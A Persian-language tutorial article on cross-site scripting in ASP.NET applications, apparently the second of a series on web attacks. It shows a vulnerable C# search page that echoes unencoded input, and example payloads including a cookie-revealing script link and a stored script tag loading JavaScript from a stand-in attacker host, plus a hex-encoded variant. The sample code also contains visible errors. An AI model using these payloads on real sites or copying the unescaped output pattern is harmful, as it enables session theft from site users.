صفحه اول > مقالات

 

حمله به برنامه‌های وبی (۲):

Cross-Site Scripting

این نوع حمله خیلی مشابه به حملات تزریق اسکریپت است و در مواقعی اتفاق می‌افتد که کد اسکریپت توسط صفحات پویای وب سایر سایت‌ها در مرورگر وب وارد شود. در این نوع حملات، هدف هکر خود سایت نیست، بلکه کاربران آن مد نظر می‌باشند. فرض کنید که یک سایت عبارات جستجو را با استفاده از مجموعه QueryString  ر صورتی که برنامه با استفاده از فناوری .NET توسعه داده شده باشد) و از طریق متد HTTP Get دریافت می‌کند، و سایر سایت‌ها می‌توانند عبارات جستجو را با عبارت پرس و جوس Search ارسال کنند.

YourSite.com?Search=asp.net

صفحه جستجو رشته پرس و جو را خوانده و در پایگاه داده به دنبال عبارت مورد نظر می‌گردد و در نهایت نتیجه جستجو را نمایش می‌دهد. در صورتی که داده‌ای متناسب با عبارت مورد نظر در پایگاه داده وجود نداشته باشد، پیامی مبنی بر یافت نشدن جواب تولید و نمایش داده خواهد شد.

در صفحه جستجو قالبی کد‌های زیر وجود دارند:

void Page_load(Object Src,EventArgs E)

{

          String sSearchStr="";

          NameValueCollection ColQstr = Request.QueryString;

 

          String[] qStrAry = colQstr.AllKeys;

          for (int i = 0; i<= qStrAry.GetUpperBound(0); i++)

          {

                   if (qStrAry[i] == "search")

                   {

                             String[] qStrAry = colQstr.AllKeys;

                             for (int j = 0; j<=qStrAryVal.GetUpperBound(0); j++)

                             {

                                      sSearchStr = qStrAryVal[j];

                                      break;

                             }

                   }

          }

 

          if (sSearchStr.Trim() != "")

          {

                   if (SearchDataStore(sSearchStr) == false)

                             lblResult.Text = "The search keyword " + sSearchStr +

                             " did not produce any results. Please try again.";

          }

}

bool SearchDataStore(String sSearchStr)

{

          /*Perform the search against the datastore and display the

          result. if there are no results then return false.*/

          return false;

}

رویداد Page_Load پارامتر Search را در QueryString خوانده و مقدار آن را بازیابی می‌کند. سپس با فراخوانی متد SearchDataStore اقدام به بازیابی نتایج رشته جستجو می‌نماید. در صورتی که موردی در پایگاه داده یافت نشد مقدار بازگشتی این متد false خواهد بود. بعد از این فرایند رویداد Page_Load نتایج جستجو را نمایش می‌دهد (اگر بازگشتی متد true باشد رکوردهای یافت شده و در صورتی که false‌ باشد پیغام خطای مناسب). تا اینجا همه چیز روال عادی خود را طی می‌کند. حال فرض کنید یک کاربر و یا سایتی دیگر عبارت زیر را تایپ نماید:

Process.Aspx?Search=<script>alert(CSS Attack); </script>

رویداد Page_Load رشته پرس و جو را پردازش نموده و پیام زیر را نمایش می‌دهد:

به طریق مشابه، کاربر می‌تواند متن زیر را وارد نماید:

<a href="process.aspx?Search=<script>alert(document.cookie);</script>">Click here </a>

با کلیک لینک توسط کاربر، کنترل مرورگر به یک سایت دیگر منتقل می‌شود و تمام اطلاعات cookie های سایت اصلی در پنجره alert نمایش داده می‌شود. کد JavaScript از داخل حاشیه امنیتی دامنه فعلی اجرا می‌شود و بنابراین کد‌هایی قابل اجرا هستند که از خارج قابل اجرا شدن نیستند.

به طریق مشابه امکان ارسال اطلاعات Cookie به یک سرور دیگر نیز وجود دارد.

نوع دیگری از حملاتی که به این شیوه قابل انجام است بسیار پیشرفته‌تر است. فرض کنید یک سایت اطلاعات موجود در وب در مورد فناوری‌ را جمع‌آوری نموده و در اختیار کاربران خود قرار می‌دهد. در این سایت امکانی فراهم آمده است که کاربران می‌توانند آخرین اخباری را که از نظرشان جالب و مناسب سایت است را وارد نمایند. در صورتی که هیچ گونه اعتبارسنجی بر روی داده ورودی انجام نشود، با وارد شدن اطلاعات توسط کاربر، سیستم آن را در پایگاه داده خود ذخیره نموده و پیش‌نمایشی از آن را ارائه می‌دهد.

در این ساختار راه نفوذ برای هکرها باز است و می‌توانند با وارد کردن متنی مانند زیر به اهداف خرابکارانه خود برسند:

News: Here is a Cross-Site Script Attack

URL: www.SomeSite.com/default.aspx?ID=<script src='http://CssAttack.com/dostuff/js'></script>

 

اگر برنامه بدون اعتبار سنجی URL، آن را پذیرفته و در پایگاه داده وارد کند سایت و بینندگان آن در معرض حملات Cross-site قرار می‌گیرند. اگر متن اسکریپتی که وارد شده است مستقیما وارد پایگاه داده شده و از این پس به صورت هفتگی برای مشترکین ارسال شود، نتایج زیان باری حاصل می‌شود. هر کس که بر روی لینک خبر کلیک کند آدرس URL را در مرورگر خود مشاهده خواهد کرد و جاوا اسکریپت بیان شده در SRC نشانه script اجرا می‌شود.

نمونه دیگری از این نوع حملات به این صورت انجام می‌شود که هکر به جای استفاده از متن به فرمت ASCII‌ یا Unicode از کد حروف hex‌ استفاده می‌نماید.

News: Here is a Croos-Site Script Attack

URL:  http://77%2077%2077%202e%2053%206f%206d%2065%2073%2069%2074%2065%20

2e%2063%206f%206d/default.aspx?3c%2053%2063%2072%2069%2070%2074%2020%20

73%2072%2063%203d%2092%2044%206f%2053%2074%2075%2066%2066%202e%20

4a%2073%2092%203e%203c%202f%2053%2063%2072%2069%2070%2074%203e

حروف فوق در قالب ASCII‌ معادل

News: Here is a Cross-Site Script Attack

URL: www.SomeSite.com/default.aspx?ID=<script src='http://CssAttack.com/dostuff/js'></script>

می‌باشند.

با مشاهده موارد فوق مشخص می‌شود که اعتبار سنجی داده‌ها در زمان ورود اهمیت فوق‌العاده‌ای دارد. اسکریپتی که در URL‌ ارائه می‌گردد می‌تواند اعمال بسیار خطرناکی را انجام دهد که بستگی به قابلیت‌های زبان اسکریپت‌نویسی دارد. این اعمال شامل موارد زیر می‌باشند:

·        ممکن است داده‌ها تحریف شوند، به عنوان مثال ممکن است محتویات یک cookie تغییر یابد.

·        یکپارچگی اطلاعات به خطر افتد.

·        اسکریپت‌هایی با اهداف خرابکارانه در محیط سایت‌های مطمئن اجرا شوند.

·        Cookie ها مقدار دهی شده و یا اطلاعات آنها خوانده شود.

·        ورودی‌های کاربران مورد استراق سمع واقع شود.

·        کاربران به سایت‌هایی نامطمئن هدایت شوند.